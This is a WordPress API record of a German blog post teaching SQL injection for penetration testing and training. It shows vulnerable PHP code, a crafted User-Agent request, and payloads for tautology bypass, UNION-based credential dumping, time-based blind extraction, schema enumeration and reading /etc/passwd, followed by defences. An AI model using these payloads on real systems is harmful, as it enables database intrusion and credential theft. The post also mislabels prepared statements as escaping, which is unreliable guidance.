{"id":439,"date":"2025-06-01T16:17:08","date_gmt":"2025-06-01T14:17:08","guid":{"rendered":"https:\/\/www.stoerti.com\/?p=439"},"modified":"2025-06-01T16:39:50","modified_gmt":"2025-06-01T14:39:50","slug":"sql-injection-so-gehts","status":"publish","type":"post","link":"https:\/\/www.stoerti.com\/index.php\/2025\/06\/01\/sql-injection-so-gehts\/","title":{"rendered":"SQL-Injection: So gehts"},"content":{"rendered":"<p>Alles, was ich nachfolgend erkl\u00e4re, ist streng verboten und kann zu hohen Strafen f\u00fchren. Warum erkl\u00e4re ich das dann? Weil nicht nur ich dieses Wissen habe, sondern andere Leute auch und nur, wer seinen Feind kennt, kann ihn bek\u00e4mpfen.<br>Also: <em>Das Wissen dieses Artikels ist nur f\u00fcr legale Penetration Tests und Security-Schulungen!<\/em><\/p><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>Einleitung: Warum SQL-Injection noch immer gef\u00e4hrlich ist<\/strong><\/h2><p>SQL-Injection ist einer der <strong>\u00e4ltesten<\/strong>, aber immer noch effektivsten Angriffe auf Webanwendungen. Laut OWASP geh\u00f6rt sie zu den <strong>Top 10 Security-Risiken<\/strong> \u2013 und kann ganze Datenbanken offenlegen. In diesem Artikel zeige ich dir:<\/p><p>\u2705 <strong>Wie SQL-Injection funktioniert<\/strong> \u2013 von einfach bis komplex<br>\u2705 <strong>Live-Beispiele<\/strong> (inkl. User-Agent-Manipulation)<br>\u2705 <strong>Wie Hacker Datenbanken auslesen<\/strong><br>\u2705 <strong>Schutzma\u00dfnahmen f\u00fcr Entwickler<\/strong><\/p><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>1. SQL-Injection Basics: Wie ein einfacher String zur Gefahr wird<\/strong><\/h2><h3 class=\"wp-block-heading\"><strong>Das unsichere Code-Beispiel<\/strong><\/h3><p>Stell dir vor, eine Webanwendung nutzt ungefilterte User-Daten in einer SQL-Abfrage:<\/p><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-db03813fd3a9658492fcc394a46a3dd2\"><code>\/\/ UNSICHERER CODE!  \n$userAgent = $_SERVER&#91;'HTTP_USER_AGENT'];  \n$query = \"SELECT * FROM logs WHERE user_agent = '$userAgent'\";  <\/code><\/pre><p>Wenn der Angreifer seinen <strong>User-Agent<\/strong> manipuliert, wird daraus schnell ein:<\/p><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-8002c0c965a6bb1d7f02bcf705f9dd5a\"><code>SELECT * FROM logs WHERE user_agent = '...' OR '1'='1'; --'<\/code><\/pre><p><br>\u2192 <strong>Ergebnis:<\/strong> Die Query gibt ALLE Datens\u00e4tze zur\u00fcck!<\/p><h3 class=\"wp-block-heading\"><strong>Typische Angriffsvektoren<\/strong><\/h3><ul class=\"wp-block-list\"><li>Formularfelder (Login, Suche)<\/li>\n\n<li>HTTP-Header (<code>User-Agent<\/code>, <code>Referer<\/code>)<\/li>\n\n<li>URL-Parameter (<code>?id=1'<\/code>)<\/li><\/ul><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>2. Fortgeschrittene SQL-Injection: Datenbanken auslesen<\/strong><\/h2><h3 class=\"wp-block-heading\"><strong>Technik #1: Union-Based Injection<\/strong><\/h3><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-48fcb86afd2729af737c46be34ffb67b\"><code>' UNION SELECT 1,username,password FROM users-- -<\/code><\/pre><ul class=\"wp-block-list\"><li><strong>Funktioniert<\/strong>, wenn die Query mehrere Spalten zur\u00fcckgibt.<\/li>\n\n<li><strong>Enth\u00fcllt<\/strong> Benutzernamen &amp; Passw\u00f6rter (falls im Klartext gespeichert \ud83d\ude31).<\/li><\/ul><h3 class=\"wp-block-heading\"><strong>Technik #2: Time-Based Blind Injection<\/strong><\/h3><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-38e03c77ccd1d1d08266632109bd93cd\"><code>' OR IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -<\/code><\/pre><ul class=\"wp-block-list\"><li><strong>Keine direkte Ausgabe?<\/strong> Die Antwortverz\u00f6gerung verr\u00e4t trotzdem Informationen.<\/li><\/ul><h3 class=\"wp-block-heading\"><strong>Technik #3: Datenbankstruktur aussp\u00e4hen<\/strong><\/h3><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-288dcff6d0f97987e7abfa0eb76b3116\"><code>' UNION SELECT table_name,column_name FROM information_schema.columns-- -<\/code><\/pre><ul class=\"wp-block-list\"><li><strong>Ziel:<\/strong> Finde alle Tabellen &amp; Spalten f\u00fcr gezielte Angriffe.<\/li><\/ul><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>3. Real-World-Beispiel: Hack des User-Agent-Headers<\/strong><\/h2><h3 class=\"wp-block-heading\"><strong>Angriff via Brave\/Chromium-User-Agent<\/strong><\/h3><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-1be1bf0b80ddaa3159bf28303de691b8\"><code>GET \/login HTTP\/1.1  \nHost: example.com  \nUser-Agent: Mozilla\/5.0 (...) Brave\/124.0.0.0' UNION SELECT 1,@@version,3-- -  <\/code><\/pre><p>\u2192 <strong>M\u00f6gliche Antwort:<\/strong> Die Datenbankversion wird im Log ausgegeben!<\/p><h3 class=\"wp-block-heading\">Angriff auf \/etc\/passwd<\/h3><h4 class=\"wp-block-heading\"><strong>2. Dateisystem-Zugriff (MySQL mit <code>LOAD_FILE<\/code>):<\/strong><\/h4><pre class=\"wp-block-code has-black-color has-text-color has-link-color wp-elements-4e4d80005b1c5b4c43045b3bc30dca4d\"><code>' UNION SELECT 1,LOAD_FILE('\/etc\/passwd'),3-- -<\/code><\/pre><p>\u2192 <strong>Voraussetzung:<\/strong> DB-Benutzer ben\u00f6tigt File-Read-Rechte.<\/p><h3 class=\"wp-block-heading\"><strong>Was Hacker damit machen k\u00f6nnen<\/strong><\/h3><ul class=\"wp-block-list\"><li><strong>Passwort-Hashes<\/strong> stehlen<\/li>\n\n<li><strong>Admin-Zug\u00e4nge<\/strong> \u00fcbernehmen<\/li>\n\n<li><strong>Dateien<\/strong> vom Server lesen (<code>LOAD_FILE<\/code>)<\/li><\/ul><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>4. Schutzma\u00dfnahmen: So stoppst du SQL-Injection<\/strong><\/h2><h3 class=\"wp-block-heading\"><strong>#1 Prepared Statements (PDO\/MySQLi)<\/strong><\/h3><ul class=\"wp-block-list\"><li>Escape alle nicht ben\u00f6tigten Zeichen aus allen Datenbankqueries<\/li><\/ul><h3 class=\"wp-block-heading\"><strong>#2 Web Application Firewall (WAF)<\/strong><\/h3><ul class=\"wp-block-list\"><li>Blockiert bekannte Injection-Patterns (z. B. <code>UNION SELECT<\/code>, <code>SLEEP<\/code>).<\/li><\/ul><h3 class=\"wp-block-heading\"><strong>#3 Minimale Datenbank-Rechte<\/strong><\/h3><ul class=\"wp-block-list\"><li>Der DB-User sollte <strong>keine<\/strong> Admin-Rechte haben!<\/li><\/ul><h3 class=\"wp-block-heading\"><strong>#4 Input-Validierung<\/strong><\/h3><ul class=\"wp-block-list\"><li>Whitelisting: Nur erlaubte Zeichen akzeptieren.<\/li><\/ul><hr class=\"wp-block-separator has-alpha-channel-opacity\"\/><h2 class=\"wp-block-heading\"><strong>SQL-Injection ist vermeidbar!<\/strong><\/h2><p>Die Technik ist alt \u2013 aber viele Systeme sind <strong>noch immer anf\u00e4llig<\/strong>. Als Entwickler tr\u00e4gst du die Verantwortung:<\/p><p>\ud83d\udd12 <strong>Nutze Prepared Statements<\/strong><br>\ud83d\udd12 <strong>F\u00fchre regelm\u00e4\u00dfige Security-Audits durch<\/strong><br>\ud83d\udd12 <strong>Teste deine Anwendung<\/strong> (Tools: SQLMap, Burp Suite)<\/p><p><strong>Weiterf\u00fchrende Links:<\/strong><\/p><ul class=\"wp-block-list\"><li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/SQL_Injection\">OWASP SQL-Injection Guide<\/a><\/li>\n\n<li><a href=\"https:\/\/portswigger.net\/web-security\/sql-injection\">PortSwigger SQLi Lab<\/a><\/li><\/ul><p><\/p>","protected":false},"excerpt":{"rendered":"<p>Alles, was ich nachfolgend erkl\u00e4re, ist streng verboten und kann zu hohen Strafen f\u00fchren. Warum erkl\u00e4re ich das dann? Weil nicht nur ich dieses Wissen habe, sondern andere Leute auch und nur, wer seinen Feind kennt, kann ihn bek\u00e4mpfen.Also: Das Wissen dieses Artikels ist nur f\u00fcr legale Penetration Tests und Security-Schulungen! Einleitung: Warum SQL-Injection noch&#8230;<\/p>\n","protected":false},"author":1,"featured_media":253,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-439","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-allgemein"],"_links":{"self":[{"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/posts\/439","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/comments?post=439"}],"version-history":[{"count":5,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions"}],"predecessor-version":[{"id":444,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/posts\/439\/revisions\/444"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/media\/253"}],"wp:attachment":[{"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/media?parent=439"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/categories?post=439"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.stoerti.com\/index.php\/wp-json\/wp\/v2\/tags?post=439"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}